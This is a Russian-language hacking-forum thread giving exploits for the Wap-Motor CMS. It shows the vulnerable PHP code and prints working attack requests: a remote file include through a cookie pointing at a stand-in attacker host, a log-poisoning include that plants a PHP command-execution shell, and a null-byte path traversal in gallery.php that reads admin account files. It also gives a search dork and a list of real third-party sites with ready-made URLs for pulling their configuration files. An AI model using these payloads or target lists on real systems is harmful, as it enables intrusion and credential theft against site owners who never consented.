Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии
Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:
<?php
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS);
extract($HTTP_COOKIE_VARS);
extract($HTTP_SERVER_VARS);
extract($HTTP_SESSION_VARS);
?>
На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):
<?php
if(empty($f)){$f='index';}
echo $p.'/'.$f.'.'.$config_ras;
$sfx = file($p.'/'.$f.'.'.$config_ras);
if (!$sfx){
echo 'Файл с данными параметрами не найден!';
}else{
include_once $p.'/'.$f.'.'.$config_ras;
}
?>
Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):
<?php
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
?>
При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include.
RFI-эксплоит (для удачной эксплуатации на удаленном сервере необходимо создать файл s.mot с php-кодом, а также необходим allow_url_include=on):
GET /index.php HTTP/1.0
Host: localhost
Cookie: p=http://eViLhOsT; f=s;
Connection: close
LFI-эксплоит (нужна сессия пользователя, а также необходим magic_quotes_gpc=off):
GET /index.php/%3C%3Fphp+echo+%60%7B$_COOKIE%5B'c'%5D%7D%60%3B+%3 F%3E HTTP/1.0
Host: localhost
Cookie: p=local/who.dat%00; c=id; SID=qsm8nce7777k4tvkt0vfbiem41;
Connection: close
Несмотря на путь, будет запрошен скрипт index.php, и в файл local/who.dat, логирующий активность недавних пользователей, будет записан следующий код:
user|/index.php/<?php echo `{$_COOKIE['c']}`; ?>|11|1218131297|
При этом произойдет обращение к local/who.dat с параметром c, который содержит команду для выполнения.
тыбы лучше пример показал :)
уязвимость присутствовала на сайте вот этих горе-хакеров:
http://www.xak.net.ua/
но на данный момент этого сайта уже не существует, кроме того автор опубликовал версию 18.0, поэтому примеры ищите сами ;)
Взлом учетных записей CMS Wap-motor v. 18.0
Уязвимый продукт: Wap-motor
Версия: <= 18.0
Дорк: "Powered by Wap-motor"
ОФФ-сайт: http://visavi.net
Линк на скачивание: http://visavi.net/download/down.php?action=ob&did=wap-motor16&fid=MOTOR18.zip&
Взлом учетных записей CMS Wap-motor v. 18.0
Вступление #1. (Начну издалека…)
Еще примерно с 2006 г, когда я пребывал на одном форуме (wapteam, кто занимался вапом, должен помнить), у меня было острое желание сломать цмс конкурентов, а именно visavi.net (ныне офф.сайт данной CMS), т.к. между нашими тимами были постоянные раздоры. Однако хотя тогда Wap-motor и был ужасно дырявым, я не смог найти в нем уязвимости из-за отсутствия знаний! =( Но, сейчас, когда уже движок обновился более чем на 10 версий, моя мечта сбылась! =)
Вступление #2. (History…)
На данный момент Wap-motor самая популярная CMS в рувапе!
К примеру по запросу Powered by Wap-motor гугл выдает 12,100 результатов.
Данная CMS может быть установлена по умолчанию на http://h2m.ru (т.е. предустановленным скриптом)
Вступление #3. (MOTOR17.4…) (БАЯН! Не заметил тему [Raz0r] https://forum.antichat.ru/thread80077.html)
Итак, у меня была на харде данная CMS с версией MOTOR17.4.
Я решил в ней покопаться, и после недолгих манипуляций получил просмотр локальных файлов!
Пример #1:
Например при таком урл
ttp://[PATH]/index.php?p=zagruzki&f=indexПередать куки подобного содержания:
Cookie: f = ../local/profil/Twost.prof%00
Где Twost – это ник админа.
Пример #2:
Аналогично.
http://[PATH]/pages/index.php?p=test&f=test&
Cookie: action = ../profil/Twost.prof%00
Эти две уязвимости были возможны из-за наивности кодеров!
Уязвимый код:
Файл ./template/regglobals.php
...
while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
…
Файл ./index.php
...
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
...
$sfx = file($p.'/'.$f.'.'.$config_ras);
...
Т.е проверялась переменная из массива $_GET, а уже в file() передавалась просто глобальная переменная. (прямо задание из РОА =))
Естественно т.к. версия была старой то скачав последнюю версию 18.0 я убедился что дыры пропатчены. Однако есть еще! =).
Уязвимость Wap-motor v. 18.0
В данной версии уязвима фото-галерея скрипта.
А именно файл
http://[PATH]/gallery/gallery.php
Рассмотрим код!
Файл ./gallery/gallery.php
<?php
require_once"../template/start.php";
require_once"../template/regglobals.php";
require_once"../template/config.php";
require_once"../template/functions.php";
$image=check($image);
$ext = strtolower(substr($image, strrpos($image, '.') + 1));
if($ext=="jpg" || $ext=="gif" || $ext=="png"){
if($ext=="jpg"){$ext="jpeg";}
$filename = BASEDIR."local/datagallery/$image";
$filename = file_get_contents($filename);
header('Content-Disposition: inline; filename="'.$image.'"');
header("Content-type: image/$ext");
header("Content-Length: ".strlen($filename));
echo $filename;
}
?>
Файл ./template/regglobals.php
...
if (!ini_get('register_globals')) {
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SESSION)) $GLOBALS[$key]=$value;
}
...
foreach ($_GET as $check_url) {
if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
(eregi("\"", $check_url)) || (eregi("\'", $check_url)) || (eregi("\./", $check_url)) ||
(eregi("//", $check_url)) || (eregi("<", $check_url)) || (eregi(">", $check_url))) {
header ("Location: ".BASEDIR."index.php?isset=403&".SID); exit;
}
...
Вот, уже картина становится яснее, виден алгоритм!
Алгоритм действий скрипта при обработке $_GET[‘image’] :
1. while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
2. foreach ($_GET as $check_url) ...
3. $ext = strtolower(substr($image, strrpos($image, '.') + 1));
4. header('Content-Disposition: inline; filename="'.$image.'"');
header("Content-type: image/$ext");
header("Content-Length: ".strlen($filename));
echo $filename;
Вот что у нас получилось:
http://[PATH]/gallery/gallery.php?image=%00../profil/Twost.prof%00.gif
Рассмотрим,
image=%00 – это мы нулл-байтом прекращаем обработку eregi(). (Спасибо Elekt’у за статью Роковые ошибки Php. Часть вторая.)
../profil/Twost.prof %00– инклудим файл профиля (не забудьте изменить Twost на ник админа) и обрезаем все тем же нулл-байтом расширение
.gif – а вот это подставляем для того, чтобы сюда пошло верное значение
header("Content-type: image/$ext");
Картинка у нас естественно не отобразилась, однако она не пуста! Откройте её текстовым редактором и увидите базу учетной записи админа, осталось только расшифровать хеш!
Вот и все!
Небольшой список уязвимых сайтов: (зрите вглубь картинки)
http://mobile-world.dbhost.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://margarita.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://sat-tv.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://kod.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://fuckyou.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://bazooka.pp.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://metra.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://chermo.net.ru/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif
http://sefan.us/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif
http://landark.net.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://vseicq.org.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
P.S. Прошу меня простить, что расписал банальную ошибку кодеров на столько абзацев, просто для меня это не просто очередная уязвимость, а цель которую, которую я выполнил! =)
P.P.S. Я думаю, что это не единственная дыра данного двига, поэтому буду пытаться искать далее.
P.P.P.S. Добавлено после теста в инете:
Как оказалось, данная уязвимость присутствует, однако проинклудить файл профиля у меня не удалось нигде… Возможно кривые руки, возможно правильные ЧМОД на файлы… (я тестил в Винде, Линь пока не работоспособна)
В общем я еще буду разбираться и если что обнаружу, дополню!
Подправил пост, дико извиняюсь, не заметил темы [Raz0r]'a
https://forum.antichat.ru/thread80077.html
Пункт про версию 17.4 считать не действительным! =)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot